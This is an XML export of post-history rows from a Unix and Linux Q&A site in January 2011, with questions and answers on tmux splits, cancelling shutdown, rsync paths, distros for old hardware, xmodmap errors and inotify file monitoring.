  <row Id="13697" PostHistoryTypeId="5" PostId="6018" RevisionGUID="d247fd1c-52c2-4dca-bd2f-af04bc88b258" CreationDate="2011-01-18T14:15:29.893" UserId="3038" Comment="added 57 characters in body" Text="[LinkChecker][1]. &#xD;&#xA;&#xD;&#xA;&gt; LinkChecker is a free, GPL licensed URL validator.&#xD;&#xA;&gt;&#xD;&#xA;&gt;**Features**&#xD;&#xA;&gt;&#xD;&#xA;&gt; - recursive and multithreaded checking&#xD;&#xA;&gt; - output in colored or normal text, HTML, SQL, CSV, XML or a sitemap graph in different formats&#xD;&#xA;&gt; - HTTP/1.1, HTTPS, FTP, mailto:, news:, nntp:, Telnet and local file links support&#xD;&#xA;&gt; - restriction of link checking with regular expression filters for URLs&#xD;&#xA;&gt; - proxy support&#xD;&#xA;&gt; - username/password authorization for HTTP and FTP and Telnet&#xD;&#xA;&gt; - honors robots.txt exclusion protocol&#xD;&#xA;&gt; - Cookie support&#xD;&#xA;&gt; - HTML and CSS syntax check&#xD;&#xA;&gt; - Antivirus check&#xD;&#xA;&gt; - Different interfaces: command line, GUI and web interface&#xD;&#xA;&#xD;&#xA;It's also in Debian Lenny: `aptitude install linkchecker` and in the FreeBSD ports: `/usr/ports/www/linkchecker`&#xD;&#xA;&#xD;&#xA;  [1]: http://linkchecker.sourceforge.net/" />
  <row Id="13698" PostHistoryTypeId="2" PostId="6042" RevisionGUID="27d6e891-03ba-465d-bd70-5da27d2b6dae" CreationDate="2011-01-18T14:27:30.983" UserId="3493" Text="I created an upstart script in Ubuntu, thinking it would be the same for Debian. But Debian doesnt have a `/etc/init` folder that Ubuntu has. I went to the upstart [download][1] page and seeing that they have packages, did a `apt-get install upstart`, but it asks to remove sysvinit, which I know will/might screw up my system. So how do I make my Ubuntu script work on Debian?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://upstart.ubuntu.com/download.html" />
  <row Id="13699" PostHistoryTypeId="1" PostId="6042" RevisionGUID="27d6e891-03ba-465d-bd70-5da27d2b6dae" CreationDate="2011-01-18T14:27:30.983" UserId="3493" Text="Upstart on Debian?" />
  <row Id="13700" PostHistoryTypeId="3" PostId="6042" RevisionGUID="27d6e891-03ba-465d-bd70-5da27d2b6dae" CreationDate="2011-01-18T14:27:30.983" UserId="3493" Text="édebianàéupstartà" />
  <row Id="13701" PostHistoryTypeId="2" PostId="6043" RevisionGUID="d8cb2229-1d4e-49f5-852a-a2309a9e814a" CreationDate="2011-01-18T14:41:21.617" UserId="688" Text="The reason it's going to remove `sysvinit` is because these two are conflicts (IE: incompatible). Also, note that `sysvinit` in considered essential (IE: not to be removed, unless you know what you are doing).&#xD;&#xA;&#xD;&#xA;Part of the output from 'aptitude show upstart`:&#xD;&#xA;&#xD;&#xA;    Conflicts: startup-tasks, system-services, sysvinit, upstart-compat-sysv, upstart-job&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Assuming you can afford to hose your system (IE: this is a personal machine, and you have a proper backup), go ahead and install it.&#xD;&#xA;" />
  <row Id="13702" PostHistoryTypeId="2" PostId="6044" RevisionGUID="d098ca6b-ad64-4212-b277-6c8cba0db2fc" CreationDate="2011-01-18T14:57:11.897" UserId="3924" Text="You can see a reference chart supporting above comments at -&#xD;&#xA;http://www.computerworld.com/common/images/site/features/2009/062009/unix_chart_775.jpg" />
  <row Id="13703" PostHistoryTypeId="2" PostId="6045" RevisionGUID="5845c620-c4dd-4a57-9df3-539f44662020" CreationDate="2011-01-18T15:27:50.370" UserId="2258" Text="An old HP desktop just came my way for service.  Was running XP, but the install is trashed.  User would like to switch to Linux, but the box it's only a 950mhz Celeron with 384MB RAM.  It does have a decent sized hard drive though (40GB), so something should fit.  I tried OpenSuSE 11.3, but it just goes to a black screen part way through the installer.  What's the fullest featured distro I can squeeze onto this box?" />
  <row Id="13704" PostHistoryTypeId="1" PostId="6045" RevisionGUID="5845c620-c4dd-4a57-9df3-539f44662020" CreationDate="2011-01-18T15:27:50.370" UserId="2258" Text="What distro for an old HP (Celeron/384MB)." />
  <row Id="13705" PostHistoryTypeId="3" PostId="6045" RevisionGUID="5845c620-c4dd-4a57-9df3-539f44662020" CreationDate="2011-01-18T15:27:50.370" UserId="2258" Text="élinuxàéhardwareàédistrosà" />
  <row Id="13706" PostHistoryTypeId="2" PostId="6046" RevisionGUID="06ab04c6-ede3-45b3-87bb-fe9253eca18a" CreationDate="2011-01-18T15:39:52.907" UserId="1919" Text="For all intents and purposes, a typical modern Linux distribution (Ubuntu, Debian, Red Hat, Fedora, Slackware, etc) is a Unix, but strictly speaking, no system can claim to be Unix without being certified, so instead people say they are Unix-like. They are inspired by Unix, and carry on its culture.&#xD;&#xA;&#xD;&#xA;This also applies to BSD systems.&#xD;&#xA;&#xD;&#xA;Mac OS X is certified Unix, so it's Unix both in name and indeed. (and it's actually based on BSD).&#xD;&#xA;&#xD;&#xA;It should be noted that since Linux itself is just a kernel, it can be used to build non-unix-like systems (such as Android).&#xD;&#xA;" />
  <row Id="13707" PostHistoryTypeId="2" PostId="6047" RevisionGUID="1419466e-b829-411a-87b6-2bd15d94a71d" CreationDate="2011-01-18T15:44:49.613" UserId="3925" Text="I'd have a look at Archlinux for 686, you could install enlightenment 16 or 17, fluxbox or LXDE as a lightweight windows manager and it should run OK on that configuration.&#xD;&#xA;&#xD;&#xA;If you can squeeze some more RAM in it it will help greatly, 1Go would be great IMHO." />
  <row Id="13708" PostHistoryTypeId="2" PostId="6048" RevisionGUID="11cb05fd-8ae3-4595-866d-b3fbc0c28a25" CreationDate="2011-01-18T15:50:48.723" UserId="3927" Text="I looked in /var/log/ but there isn't any log files that records ports log, and I just found this person asking the same thing in other forum and get an answer which stating there is no such file. If that's the case how should I read error messages? with more?" />
  <row Id="13709" PostHistoryTypeId="1" PostId="6048" RevisionGUID="11cb05fd-8ae3-4595-866d-b3fbc0c28a25" CreationDate="2011-01-18T15:50:48.723" UserId="3927" Text="Where can I find a log file that logs ports error messages in FreeBSD?" />
  <row Id="13710" PostHistoryTypeId="3" PostId="6048" RevisionGUID="11cb05fd-8ae3-4595-866d-b3fbc0c28a25" CreationDate="2011-01-18T15:50:48.723" UserId="3927" Text="éfreebsdàéportsà" />
  <row Id="13711" PostHistoryTypeId="2" PostId="6049" RevisionGUID="f4e14ed2-9fbb-4b58-9a65-5504cbc3d902" CreationDate="2011-01-18T15:59:46.480" UserId="1919" Text="I have a few long running commands that I would like to run together in the same screen (same tab in the terminal app).&#xD;&#xA;&#xD;&#xA;My current setup is like this:&#xD;&#xA;&#xD;&#xA;    tmux new-session -d 'cmd1'&#xD;&#xA;    tmux split-window 'cmd2'&#xD;&#xA;    tmux split-window 'cmd3'&#xD;&#xA;    tmux attach&#xD;&#xA;&#xD;&#xA;However, it seems that `tmux split-window` actually splits the last split, so if I run several command this way, the first command gets half the screen, and the other commands get progressively smaller and smaller parts.&#xD;&#xA;&#xD;&#xA;Is there a simpler way that runs all commands in equal-sized splits?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13712" PostHistoryTypeId="1" PostId="6049" RevisionGUID="f4e14ed2-9fbb-4b58-9a65-5504cbc3d902" CreationDate="2011-01-18T15:59:46.480" UserId="1919" Text="Running several commands in split" />
  <row Id="13713" PostHistoryTypeId="3" PostId="6049" RevisionGUID="f4e14ed2-9fbb-4b58-9a65-5504cbc3d902" CreationDate="2011-01-18T15:59:46.480" UserId="1919" Text="éscreenàétmuxà" />
  <row Id="13714" PostHistoryTypeId="2" PostId="6050" RevisionGUID="7465399d-4e24-49ea-ae6f-5a3b9a3797f0" CreationDate="2011-01-18T16:21:20.347" UserId="3928" Text="Assuming you've just entered the command `shutdown -h now` (or something equivalent), is there realistically anything you can do (if you're quick enough) to prevent the machine shutting down?" />
  <row Id="13715" PostHistoryTypeId="1" PostId="6050" RevisionGUID="7465399d-4e24-49ea-ae6f-5a3b9a3797f0" CreationDate="2011-01-18T16:21:20.347" UserId="3928" Text="Is it possible to stop a shutdown command?" />
  <row Id="13716" PostHistoryTypeId="3" PostId="6050" RevisionGUID="7465399d-4e24-49ea-ae6f-5a3b9a3797f0" CreationDate="2011-01-18T16:21:20.347" UserId="3928" Text="éshutdownà" />
  <row Id="13717" PostHistoryTypeId="4" PostId="6049" RevisionGUID="e477801d-7d8d-46fb-9d66-6e41ccd56401" CreationDate="2011-01-18T16:23:38.640" UserId="1919" Comment="edited title" Text="Running several commands in a screen-split" />
  <row Id="13719" PostHistoryTypeId="5" PostId="4541" RevisionGUID="b0cfb69a-d9d7-4681-a71b-f4e1939f38d0" CreationDate="2011-01-18T16:40:37.467" UserId="1535" Comment="Fixed link to freedesktop issue" Text="I'm getting this error when trying to use `xmodmap` to get rid of caps lock:&#xD;&#xA;&#xD;&#xA;    $ xmodmap -e 'clear Lock'&#xD;&#xA;    X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;      Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;      Value in failed request:  0x17&#xD;&#xA;      Serial number of failed request:  8&#xD;&#xA;      Current serial number in output stream:  8&#xD;&#xA;&#xD;&#xA;I'm running xfce.  This problem did not occur before I added the Keyboard Layouts applet to a panel; before doing that, I was able to run my xmodmap script to swap Esc and CapsLock:&#xD;&#xA;&#xD;&#xA;    !Remap Caps_Lock as Escape&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Escape&#xD;&#xA;&#xD;&#xA;It may be relevant that I chose alt-capslock as the keyboard switch combo in the Keyboard Layouts preferences.&#xD;&#xA;&#xD;&#xA;I've had a similar problem before, on a different machine, running openbox.  On that machine, this problem started when I upgraded to Lucid.  I reported a [bug](https://bugs.freedesktop.org/show_bug.cgi?id=31436) in xorg.  However, it remains unclear whether it's really a problem with xorg, or if I'm just doing something wrong with my configuration.&#xD;&#xA;&#xD;&#xA;Have other people experienced this problem?  Can someone shed some light on what's going on here?  It seems there are quite a few layers involved, and I don't understand any of them particularly well, so any information would be helpful.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;I've discovered that the problem is specifically triggered by adding the Canada layout variant &quot;Multilingual&quot; (ca-multix).  If I instead add the variant &quot;Multilingual (first part)&quot; (ca-multi), the problem does not occur.  I think this will probably end up being a usable workaround, but I don't yet know what the difference between these variants is.&#xD;&#xA;&#xD;&#xA;I've filed a [freedesktop issue], and am commenting on a related [ubuntu issue].&#xD;&#xA;&#xD;&#xA;[freedesktop issue]: https://bugs.freedesktop.org//show_bug.cgi?id=31436&#xD;&#xA;[ubuntu issue]: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/524774" />
  <row Id="13720" PostHistoryTypeId="2" PostId="6052" RevisionGUID="2204c400-453f-406f-9462-15b96b42057f" CreationDate="2011-01-18T16:41:11.327" UserId="872" Text="You can run `shutdown -c` to cancel an already running shutdown." />
  <row Id="13722" PostHistoryTypeId="25" PostId="6050" RevisionGUID="7651e003-0d24-4398-9dbb-559757c34db8" CreationDate="2011-01-18T16:55:40.853" Comment="http://twitter.com/#!/StackUnix/status/27408795483242496" />
  <row Id="13723" PostHistoryTypeId="17" PostId="6054" RevisionGUID="f1f45b18-7d29-4028-b513-1819bda6050d" CreationDate="2011-01-18T17:00:37.997" UserId="-1" Comment="from http://stackoverflow.com/questions/3573342/rsync-protocol-name-full-path-not-a-module/4726723#4726723" Text="" />
  <row Id="13724" PostHistoryTypeId="2" PostId="6054" RevisionGUID="948a9e01-fe07-472a-853f-044fbdf4f7fe" CreationDate="2011-01-18T16:55:58.263" UserId="3923" Text="No. Not using the rsync protocol, which relies on modules to define access rights. You could do it through SSH :&#xD;&#xA;&#xD;&#xA;    rsync -av user@10.171.73.23:/home/user/work/tests .&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13725" PostHistoryTypeId="2" PostId="6053" RevisionGUID="a867398a-5247-45e4-b9ef-5195a2e34d8d" CreationDate="2010-08-26T08:28:39.063" UserDisplayName="John Retallack" Text="Is it possible to name the full path to source directory in rsync command instead of the name of the module.  &#xD;&#xA;&#xD;&#xA;For example:  &#xD;&#xA;    rsync -av rsync://10.171.73.23/home/user/work/tests .  &#xD;&#xA;    instead of :   &#xD;&#xA;    rsync -av rsync://10.171.73.23/ftp/work/tests .  &#xD;&#xA;    (ftp is a module from /etc/rstncd.conf) &#xD;&#xA;&#xD;&#xA;When trying the first version I get '@ERROR: Unknown module 'home''&#xD;&#xA;" />
  <row Id="13726" PostHistoryTypeId="1" PostId="6053" RevisionGUID="a867398a-5247-45e4-b9ef-5195a2e34d8d" CreationDate="2010-08-26T08:28:39.063" UserDisplayName="John Retallack" Text="Rsync protocol name full path,not a module" />
  <row Id="13727" PostHistoryTypeId="3" PostId="6053" RevisionGUID="a867398a-5247-45e4-b9ef-5195a2e34d8d" CreationDate="2010-08-26T08:28:39.063" UserDisplayName="John Retallack" Text="élinuxàéunixàérsyncà" />
  <row Id="13728" PostHistoryTypeId="17" PostId="6053" RevisionGUID="1f306789-a8ab-4172-a05e-aeaa03ba5f4e" CreationDate="2011-01-18T17:00:37.997" UserId="-1" Comment="from http://stackoverflow.com/questions/3573342/rsync-protocol-name-full-path-not-a-module" Text="" />
  <row Id="13729" PostHistoryTypeId="2" PostId="6055" RevisionGUID="82ada9fd-a444-4ca9-a69a-fea0a9606bcd" CreationDate="2011-01-18T17:00:43.993" UserId="591" Text="If you are fast enough you can issue an `init 2` (or whatever runlevel you want) and that will likely stop the shutdown. Anything involving killing the shutdown command will fail as the command runs too quickly  &#xD;&#xA;&#xD;&#xA;I tried this with the script below and and even it's not fast enough to stop the shutdown&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    shutdown -h now&#xD;&#xA;    shutdown -c &quot;Aborting Shutdown&quot;&#xD;&#xA;&#xD;&#xA;    Broadcast message from iain@iain-ubuntu&#xD;&#xA;            (/dev/pts/0) at 16:50 ...&#xD;&#xA;    &#xD;&#xA;    The system is going down for halt NOW!&#xD;&#xA;    shutdown: Cannot find pid of running shutdown&#xD;&#xA;&#xD;&#xA;Where as interactively&#xD;&#xA;&#xD;&#xA;    shutdown -h now&#xD;&#xA;    init 2 &#xD;&#xA;&#xD;&#xA;the system stays up.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="13730" PostHistoryTypeId="2" PostId="6056" RevisionGUID="33f91ed2-3658-454e-9f88-ffaaa15c3a43" CreationDate="2011-01-18T17:08:22.090" UserId="732" Text="I'd try Slackware.  I've put Slackware 13.1 on a very used laptop and had it work pretty well, but I've also backed off to Slackware 11.0 on a circa 2002 Compaq &quot;EVO&quot;.  The &quot;EVO&quot; has that ugly, ill-supported &quot;Brookdale&quot; graphics chipset, and the latest and greatest X11 doesn't do Brookdale hardly at all." />
  <row Id="13731" PostHistoryTypeId="2" PostId="6057" RevisionGUID="d53b1eb7-5f4c-4981-a3e2-9407bb916d6e" CreationDate="2011-01-18T17:10:45.160" UserId="732" Text="I use it to compare actual test output to desired test output during development.  If test #41 fails, it's easy to see what the difference between the test output (in file tests.output/041) and the desired output (in file tests.out/041):&#xD;&#xA;&#xD;&#xA;    $ diff tests.{out,output}/041" />
  <row Id="13732" PostHistoryTypeId="2" PostId="6058" RevisionGUID="24aa9f01-11f8-48ed-b4d3-c4f268ab4f0c" CreationDate="2011-01-18T17:40:04.970" UserId="2610" Text="Your question reminded me of [a distro chooser](http://www.zegeniestudios.net/ldc/index.php) mentioned in chat a few weeks back. Seems accurate enough, based on a small and completely unscientific trial I ran with friends.&#xD;&#xA;&#xD;&#xA;Anyways, according to that widget, you might want to take another crack at OpenSuSE. Of course, I had to guess on some of the questions; your results may differ." />
  <row Id="13733" PostHistoryTypeId="2" PostId="6059" RevisionGUID="2e12c7e7-204e-4567-b343-fde389b18d66" CreationDate="2011-01-18T17:58:12.740" UserId="2567" Text="php-cli, can be quite useful.&#xD;&#xA;&#xD;&#xA;php has a bad reputation, but since php version 5 the language is actually quite ok. And the syntax is similar to C/C++/Java." />
  <row Id="13734" PostHistoryTypeId="2" PostId="6060" RevisionGUID="e09d03f6-e74f-46a1-99bd-af5a832cfb3f" CreationDate="2011-01-18T18:10:29.337" UserId="1132" Text="you can also try Ubuntu LTS 10.04 for this box :)&#xD;&#xA;&#xD;&#xA;I have heard about the Fedora 14 LXDE/xfce Spins they are good for low power cpu's" />
  <row Id="13735" PostHistoryTypeId="2" PostId="6061" RevisionGUID="ade2361d-9445-4501-a9dd-aaae6b434482" CreationDate="2011-01-18T18:13:06.740" UserId="1919" Text="I wrote a small python script to figure out the proper window sizes&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    # run several commands in a split screen using tmux&#xD;&#xA;    import sys, os&#xD;&#xA;    &#xD;&#xA;    def quote_cmd(cmd): return cmd.replace(r&quot;'&quot;, r&quot;\'&quot;)&#xD;&#xA;    def run(cmd): print &quot;$&quot;, cmd; os.system(cmd)&#xD;&#xA;    &#xD;&#xA;    cmds = [quote_cmd(c) for c in sys.argv[1:]]&#xD;&#xA;    if not cmds: os.exit(0)&#xD;&#xA;    def split_size(n): return round((1 - (1.0/n)) * 100)&#xD;&#xA;    tmuxcmd = &quot;tmux new-session '%s;'&quot; % cmds[0]&#xD;&#xA;    for i, cmd in enumerate(cmds[1:]):&#xD;&#xA;        tmuxcmd += &quot; split-window -p %d '%s;'&quot; % (split_size(len(cmds) - i), cmd)&#xD;&#xA;    tmuxcmd += &quot; attach&quot;&#xD;&#xA;    run(tmuxcmd)&#xD;&#xA;&#xD;&#xA;usage:&#xD;&#xA;&#xD;&#xA;    splitw 'cmd1' 'cmd2' 'cmd3' # ... etc" />
  <row Id="13736" PostHistoryTypeId="2" PostId="6062" RevisionGUID="d02d77d7-6e82-455d-8631-b30964a22fe5" CreationDate="2011-01-18T18:13:59.593" UserId="3226" Text="There's [`script(1)`][1] command which makes typescript of terminal session:&#xD;&#xA;&#xD;&#xA;    [spongebob@conductor ~]$ script session.log&#xD;&#xA;    Script started, output file is session.log&#xD;&#xA;    [spongebob@conductor ~]$ uname -r&#xD;&#xA;    7.1-RELEASE&#xD;&#xA;    [spongebob@conductor ~]$ cd /usr/ports&#xD;&#xA;    [spongebob@conductor /usr/ports]$ exit&#xD;&#xA;    &#xD;&#xA;    Script done, output file is session.log&#xD;&#xA;&#xD;&#xA;Then you can read the log:&#xD;&#xA;&#xD;&#xA;    [spongebob@conductor ~]$ cat session.log&#xD;&#xA;    Script started on Mon Jan 10 03:48:31 2011&#xD;&#xA;    [spongebob@conductor ~]$ uname -r&#xD;&#xA;    7.1-RELEASE&#xD;&#xA;    [spongebob@conductor ~]$ cd /usr/ports&#xD;&#xA;    [spongebob@conductor /usr/ports]$ exit&#xD;&#xA;    &#xD;&#xA;    Script done on Mon Jan 10 03:48:44 2011&#xD;&#xA;    [spongebob@conductor ~]$&#xD;&#xA;&#xD;&#xA;If you omit the argument `file`, then `script` saves all dialogue in the file `typescript`.&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=script&amp;sektion=1" />
  <row Id="13737" PostHistoryTypeId="5" PostId="6010" RevisionGUID="89411fb6-2834-4d69-a9bf-8e515e4f35c7" CreationDate="2011-01-18T18:43:56.517" UserId="2416" Comment="added 36 characters in body" Text="I have a problem using this methods [1][1] to get colors in my man pages in gentoo. I already in the gentoo forums but it still doesn't work, and the comments in a bug report (Bug 184604) doesn't work either. Can someone help me to get colours in my man pages?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;Yes, I'm using less as pager&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/119/colors-in-man-pages" />
  <row Id="13738" PostHistoryTypeId="2" PostId="6063" RevisionGUID="895daf94-0a57-48e5-bb9e-079c0fa04fe6" CreationDate="2011-01-18T18:56:16.523" UserId="3932" Text="When I `gedit` files from the command line, it's always locking the terminal, and I'm tired of explicitly commanding a detached process for it.&#xD;&#xA;&#xD;&#xA;I tried to alias `gedit` as something like `gedit $* &amp; disown`, but either that's not the right syntax or you're not allowed to overload executable binary commands with aliases (tried using that in a .bash_aliases function, &#xD;&#xA;    alias gedit=editorz&#xD;&#xA;&#xD;&#xA;     function editorz()&#xD;&#xA;     {&#xD;&#xA;     gedit $* &amp; disown&#xD;&#xA;     }&#xD;&#xA;), but it doesn't take.&#xD;&#xA;&#xD;&#xA;So how do I make the command `gedit test.txt` not lock the originating terminal window?&#xD;&#xA;" />
  <row Id="13739" PostHistoryTypeId="1" PostId="6063" RevisionGUID="895daf94-0a57-48e5-bb9e-079c0fa04fe6" CreationDate="2011-01-18T18:56:16.523" UserId="3932" Text="How can I turn the behavior of `gedit sOmEtHiNg &amp; disown` into the default behavior when calling gedit from the command line?" />
  <row Id="13740" PostHistoryTypeId="3" PostId="6063" RevisionGUID="895daf94-0a57-48e5-bb9e-079c0fa04fe6" CreationDate="2011-01-18T18:56:16.523" UserId="3932" Text="éterminalàéaliasà" />
  <row Id="13741" PostHistoryTypeId="2" PostId="6064" RevisionGUID="997bc8f2-5ffc-4e93-b9b0-1900b5b53ebd" CreationDate="2011-01-18T19:00:19.810" UserId="457" Text="You can change your primary display temporarily with xrandr. I.e. open a terminal and run: &#xD;&#xA;&#xD;&#xA;`xrandr --output HDMI1 --primary`&#xD;&#xA;&#xD;&#xA;Where HDMI1 is the RandR output name for your external display. You can determine the name by listing all the outputs with `xrandr -q`. E.g. in my case, my notebook screen is `DP1` and my external LCD (hooked up via DVI) is `HDMI1`.&#xD;&#xA;&#xD;&#xA;Note: If this messes up the relative position of your monitors, you can fix it with something like:&#xD;&#xA;&#xD;&#xA;`xrandr --output HDMI1 --auto --pos 0x0 --output DP1 --auto --right-of HDMI1`&#xD;&#xA;&#xD;&#xA;This puts my notebook screen to the right of my external monitor. If your notebook is to the left of your external monitor, change `--right-of` to `--left-of`.&#xD;&#xA;&#xD;&#xA;To make it permanent, you can run xrandr from a script and stick it somewhere that gets launched automatically (e.g. Startup Applications on Ubuntu)." />
  <row Id="13742" PostHistoryTypeId="2" PostId="6065" RevisionGUID="fedcb60b-040a-4a23-8ddd-dbcbe8fe74fa" CreationDate="2011-01-18T19:15:20.540" UserId="379" Text="I can change the name of a window with Ctrl-a Shift-a. Instead of editing several window names by hand, is there a way to have them automatically named after the current directory?" />
  <row Id="13743" PostHistoryTypeId="1" PostId="6065" RevisionGUID="fedcb60b-040a-4a23-8ddd-dbcbe8fe74fa" CreationDate="2011-01-18T19:15:20.540" UserId="379" Text="GNU Screen: new window name change" />
  <row Id="13744" PostHistoryTypeId="3" PostId="6065" RevisionGUID="fedcb60b-040a-4a23-8ddd-dbcbe8fe74fa" CreationDate="2011-01-18T19:15:20.540" UserId="379" Text="éterminalàéscreenàégnuà" />
  <row Id="13745" PostHistoryTypeId="2" PostId="6066" RevisionGUID="2b5bb91d-7359-49bd-abbc-301cead593a5" CreationDate="2011-01-18T19:25:32.130" UserId="3933" Text="Suppose a directory contains the following files:&#xD;&#xA;&#xD;&#xA; - afile1&#xD;&#xA; - afile2&#xD;&#xA; - bfile&#xD;&#xA; - cfile&#xD;&#xA; - ffile&#xD;&#xA; - ffile2&#xD;&#xA; - qfile&#xD;&#xA; - zfile&#xD;&#xA;&#xD;&#xA;I am looking for an easy way of selecting all the files which start with $LETTER, or start with a letter later than $LETTER in the alphabet. A solution that could be easily modified to find files that start with $LETTER or files with a letter _earlier_ than $LETTER in the alphabet would be useful.&#xD;&#xA;&#xD;&#xA;E.g. In the above list, with LETTER=c, I want to select &quot;cfile, ffile, ffile2, qfile, zfile&quot;&#xD;&#xA;&#xD;&#xA;The above is a simplified example. In the real world the directory will contain several thousand files. In the end I used `ls | tail -n${FUDGE_FACTOR}`, where fudge factor was discovered manually, but am looking for a way to do this automatically.&#xD;&#xA;&#xD;&#xA;I'm looking for a shell based solution to this (I use BASH, but solutions in other shells are welcome). I'm aware that shell scripts probably aren't the best tool for this task, but am asking purely out of interest (to learn more about shell scripts), so please don't reply with answers in python/perl/lua/$FAVE_SCRIPTING_LANGUAGE&#xD;&#xA;&#xD;&#xA;General comments on the limitations of shell scripts for this kind of task, and the best way to work around these limitations in reality (i.e. without my &quot;must be a shell based solution&quot; stipulation), would be most welcome.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="13746" PostHistoryTypeId="1" PostId="6066" RevisionGUID="2b5bb91d-7359-49bd-abbc-301cead593a5" CreationDate="2011-01-18T19:25:32.130" UserId="3933" Text="Selecting files that start with $LETTER, or a letter later than $LETTER in the alphabet" />
  <row Id="13747" PostHistoryTypeId="3" PostId="6066" RevisionGUID="2b5bb91d-7359-49bd-abbc-301cead593a5" CreationDate="2011-01-18T19:25:32.130" UserId="3933" Text="ébashàéshellàéscriptingàéshellöscriptà" />
  <row Id="13748" PostHistoryTypeId="2" PostId="6067" RevisionGUID="41e17756-708f-4428-a90d-fcb9699398f9" CreationDate="2011-01-18T19:28:36.243" UserId="3934" Text="Why do you bother with weird `iwconfig` commands. Have you used &quot;`nm-applet`&quot; command? This is a GNOME Network Management applet. I tried to manage wireless connections with iwconfig on my Fedora's laptop but gave up. nm-applet does all the job you need. Just select auto-connect option for your wireless connection and it will connect you each time wifi is up.&#xD;&#xA;&#xD;&#xA;I use this applet in PekWM window manager with bmpanel application. This is because Pekwm does not have panel itself." />
  <row Id="13749" PostHistoryTypeId="5" PostId="6066" RevisionGUID="73b47091-57be-4d90-bcab-b5b0412f01a2" CreationDate="2011-01-18T19:35:15.763" UserId="3933" Comment="added 12 characters in body" Text="Suppose a directory contains the following files:&#xD;&#xA;&#xD;&#xA; - afile1&#xD;&#xA; - afile2&#xD;&#xA; - bfile&#xD;&#xA; - cfile&#xD;&#xA; - ffile&#xD;&#xA; - ffile2&#xD;&#xA; - qfile&#xD;&#xA; - zfile&#xD;&#xA;&#xD;&#xA;I am looking for an easy way of selecting all the files which start with $LETTER, or start with a letter later than $LETTER in the alphabet. A solution that could be easily modified to find files that start with $LETTER or files which start with a letter _earlier_ than $LETTER in the alphabet would be useful.&#xD;&#xA;&#xD;&#xA;E.g. In the above list, with LETTER=c, I want to select &quot;cfile, ffile, ffile2, qfile, zfile&quot;&#xD;&#xA;&#xD;&#xA;The above is a simplified example. In the real world the directory will contain several thousand files. In the end I used `ls | tail -n${FUDGE_FACTOR}`, where fudge factor was discovered manually, but am looking for a way to do this automatically.&#xD;&#xA;&#xD;&#xA;I'm looking for a shell based solution to this (I use BASH, but solutions in other shells are welcome). I'm aware that shell scripts probably aren't the best tool for this task, but am asking purely out of interest (to learn more about shell scripts), so please don't reply with answers in python/perl/lua/$FAVE_SCRIPTING_LANGUAGE&#xD;&#xA;&#xD;&#xA;General comments on the limitations of shell scripts for this kind of task, and the best way to work around these limitations in reality (i.e. without my &quot;must be a shell based solution&quot; stipulation), would be most welcome.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="13750" PostHistoryTypeId="2" PostId="6068" RevisionGUID="b93e7e8e-a998-42e5-9086-1c803d525185" CreationDate="2011-01-18T19:40:49.563" UserId="2333" Text="Three files have suddenly appeared in my home directory, called &quot;client_state.xml&quot;, &quot;lockfile&quot;, and &quot;time_stats_log&quot;. The last two are empty. I'm wondering how they got there. It's not the first time it has happened, but the last time was weeks ago; I deleted the files and nothing broke or complained. I haven't been able to think of what I was doing at the time reported by `stat $filename`. Is there any way I can find out where they came from?&#xD;&#xA;&#xD;&#xA;Alternatively, is there a way to monitor the home directory (but not sub-directories) for the creation of files?" />
  <row Id="13751" PostHistoryTypeId="1" PostId="6068" RevisionGUID="b93e7e8e-a998-42e5-9086-1c803d525185" CreationDate="2011-01-18T19:40:49.563" UserId="2333" Text="Is it possible to find out what program or script created a given file?" />
  <row Id="13752" PostHistoryTypeId="3" PostId="6068" RevisionGUID="b93e7e8e-a998-42e5-9086-1c803d525185" CreationDate="2011-01-18T19:40:49.563" UserId="2333" Text="éfilesà" />
  <row Id="13753" PostHistoryTypeId="2" PostId="6069" RevisionGUID="46b1b2b5-7d16-4309-8308-bca6276cc964" CreationDate="2011-01-18T19:44:10.260" UserId="3934" Text="Is there any way to encrypt the whole directory using `gpg`? It accepts only file as input argument. But I need to encrypt a lot of files on external HDD." />
  <row Id="13754" PostHistoryTypeId="1" PostId="6069" RevisionGUID="46b1b2b5-7d16-4309-8308-bca6276cc964" CreationDate="2011-01-18T19:44:10.260" UserId="3934" Text="Encode directory with GnuPG" />
  <row Id="13755" PostHistoryTypeId="3" PostId="6069" RevisionGUID="46b1b2b5-7d16-4309-8308-bca6276cc964" CreationDate="2011-01-18T19:44:10.260" UserId="3934" Text="édirectoryàéencryptionà" />
  <row Id="13756" PostHistoryTypeId="2" PostId="6070" RevisionGUID="4901bc5e-ebdd-44c5-a09d-81a7bbf40297" CreationDate="2011-01-18T19:47:49.783" UserId="73" Text="I don't believe there is a way to determine which program created a file once it exists. You *can* watch for the file to be recreated, though, using `inotify`. `inotifywait` is a command-line interface for the `inotify` subsystem; you can tell it to look for `create` events in your home directory:&#xD;&#xA;&#xD;&#xA;    $ (sleep 5; touch ~/making-a-test-file) &amp;&#xD;&#xA;    [1] 22526&#xD;&#xA;&#xD;&#xA;    $ inotifywait -e create ~/&#xD;&#xA;    Setting up watches.&#xD;&#xA;    Watches established.&#xD;&#xA;    /home/mmrozek/ CREATE making-a-test-file&#xD;&#xA;&#xD;&#xA;You probably want to run it with `-m` (monitor), which tells it not to exit after it sees the first event" />
